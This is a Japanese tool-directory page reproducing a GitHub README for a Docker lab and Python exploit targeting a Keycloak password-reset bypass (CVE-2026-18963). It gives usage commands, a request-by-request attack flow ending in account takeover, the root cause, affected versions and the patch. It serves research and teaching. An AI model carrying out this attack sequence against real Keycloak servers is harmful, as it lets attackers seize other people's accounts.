Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/ivanesk315/cve-2026-18963
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストアイデンティティ&アクセス管理 (IAM)認証学習と教育ラボと実践
GitHubivanesk315/cve-2026-18963

CVE-2026-18963

CVE-2026-18963(Keycloakのreset-credentialsフローをバイパスし、メール検証の回避によるアカウント乗っ取りを可能にする脆弱性)に対するDockerベースのラボとPythonエクスプロイト。

0日前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-18963 — Keycloak Reset-Credentials Flow Bypass Lab

概要

Keycloak における脆弱性 CVE-2026-18963 (CVSS 9.1) を再現するラボです。攻撃者がパスワードリセットフローにおけるメール検証をバイパスすることで、任意のアカウントを乗っ取ることができます。

セキュリティ研究および教育目的にのみ使用してください。

要件

  • Docker & Docker Compose
  • Python 3.8+
  • pip

使用方法

1. 脆弱な Keycloak の起動

root@kitploit:~
docker-compose up -d

Keycloak が起動するまで待ちます (~30-60 秒)。

2. ラボのセットアップ

root@kitploit:~
pip install -r requirements.txt
python setup-lab.py

スクリプトは以下を作成します:

  • reset-password を有効にした Realm vuln-lab
  • メール送信用の SMTP (MailHog) 設定
  • ユーザー victim ([email protected] / VictimPass123!)
  • 3. Exploit の実行

    root@kitploit:~
    python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
    

    オプション:

    • -u / --url: Keycloak URL (デフォルト: http://127.0.0.1:8080)
    • -r / --realm: Realm 名 (デフォルト: vuln-lab)
    • -t / --target: 対象ユーザー名 (デフォルト: victim)
    • -p / --password: 新しいパスワード (デフォルト: Pwned123!)
    • -v / --verbose: デバッグ出力を有効化

    4. メールの確認 (任意)

    MailHog UI: http://127.0.0.1:8025 — exploit 中に送信された reset-password メールを確認できます。

    5. クリーンアップ

    root@kitploit:~
    docker-compose down -v
    

    技術的詳細

    根本原因

    Keycloak における 2 つの不具合が組み合わさり、攻撃チェーンを形成します:

    不具合 1 — Selector 状態の破損 (DefaultAuthenticationFlow.java): ユーザーが「Try Another Way」をクリックすると、auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED が execution model ID ではなく "true" (真偽値の文字列) として保存されます。値 "true" は特定の execution に紐付かないため、フロー内の各ステップを通じて存続し、selector が誤ったコンテキストで表示されます。

    不具合 2 — 無条件の action 成功 (ResetCredentialEmail.java): ResetCredentialEmail の action() メソッドは、action token を検証せずに無条件で context.success() を呼び出します。通常、action() はユーザーがメール内のリンク (action token を含む) をクリックした場合にのみ呼び出されます。しかし selector が破損している場合、攻撃者はフロー処理を通じて action() を直接トリガーできます。

    攻撃フローの詳細

    root@kitploit:~
    Attacker                              Keycloak
       │                                     │
       │─── GET /auth (OIDC + PKCE) ────────>│  1. auth セッションを初期化
       │<── Login page + cookies ────────────│
       │                                     │
       │─── GET /reset-credentials ─────────>│  2. reset フローへ遷移
       │<── Username form ──────────────────│
       │                                     │
       │─── POST tryAnotherWay=on ─────────>│  3. selector 状態を破損
       │<── Authenticator selector ─────────│     SELECTOR_DISPLAYED = "true"
       │                                     │
       │─── POST username=victim ──────────>│  4. selector 経由で username を送信
       │<── "Check your email" page ────────│     メール送信、CURRENT_EXEC = email_id
       │                                     │
       │─── GET /reset-credentials ────────>│  5. reset フローに再進入
       │<── Corrupted selector (!!!) ───────│     processFlow() が SELECTOR="true" を検出
       │                                     │     → email ステップに selector を表示
       │                                     │
       │─── POST {} (empty body) ──────────>│  6. BYPASS: action() をトリガー
       │<── 302 → UPDATE_PASSWORD ─────────│     processAction() が form 内に
       │                                     │     authenticationExecution を検出せず
       │─── GET /required-action ──────────>│     → action() 分岐に到達
       │<── Password update form ──────────│     ResetCredentialEmail.action()
       │                                     │     → context.success() (無条件!)
       │                                     │     → フローが ResetPassword へ遷移
       │                                     │
       │─── POST password-new=Pwned! ──────>│  7. 新しいパスワードを設定
       │<── 302 → /account/ ──────────────│     アカウント乗っ取り完了
       │                                     │
       └── 新しいパスワードでログイン ──────┘
    

    なぜ step 6 が機能するのか?

    DefaultAuthenticationFlow.processAction() において、POST を受信した際:

    1. form 内の tryAnotherWay を確認 → なし (form は空)
    2. form 内の authenticationExecution を確認 → なし (form は空)
    3. 最後の分岐に到達: URL の model に対して authenticator.action(result) を呼び出す

    URL に execution=<email_exec_id> (selector form action 由来) が含まれているため、ResetCredentialEmail.action() が呼び出される → context.success() を返す → フローが ResetPassword へ遷移 → パスワード設定フォームを表示。

    影響を受けるバージョン

    製品影響を受ける修正済み
    Keycloak (upstream)< 26.7.226.7.2+
    RHBK 26.4.x< 26.4.1526.4.15+
    RHBK 26.6.x< 26.6.626.6.6+

    パッチ (PR #51844)

    DefaultAuthenticationFlow.java:

    • setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())
    • processFlow() は Boolean.parseBoolean() ではなく selector.equals(lastExecutionId) を検証
    • 一致しない場合 → removeAuthNote(SELECTOR_DISPLAYED)

    ResetCredentialEmail.java:

    • action() は context.success() を呼び出す前に ACTION_TOKEN_USER_ID を検証
    • 有効な action token が存在しない場合 → context.failure(INVALID_USER)

    参考資料

    • NVD - CVE-2026-18963
    • Red Hat CVE Page
    • Keycloak Issue #51833
    • Fix PR #51844
    • Kudelski Security Research
    • The Hacker News
    ツールをダウンロード